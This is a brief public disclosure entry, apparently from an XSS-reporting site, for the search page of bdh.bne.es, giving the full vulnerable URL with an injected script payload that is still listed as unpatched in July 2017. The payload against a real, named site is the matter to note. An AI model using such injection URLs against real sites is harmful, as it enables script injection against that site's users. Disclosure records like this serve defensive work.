bdh.bne.es XSS vulnerability

Vulnerable URL: http://bdh.bne.es/bnesearch/Search.do?advanced=false=on=Guitch404';alert'XSSPOSED';//=todos Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 63384 Google Pagerank| 8...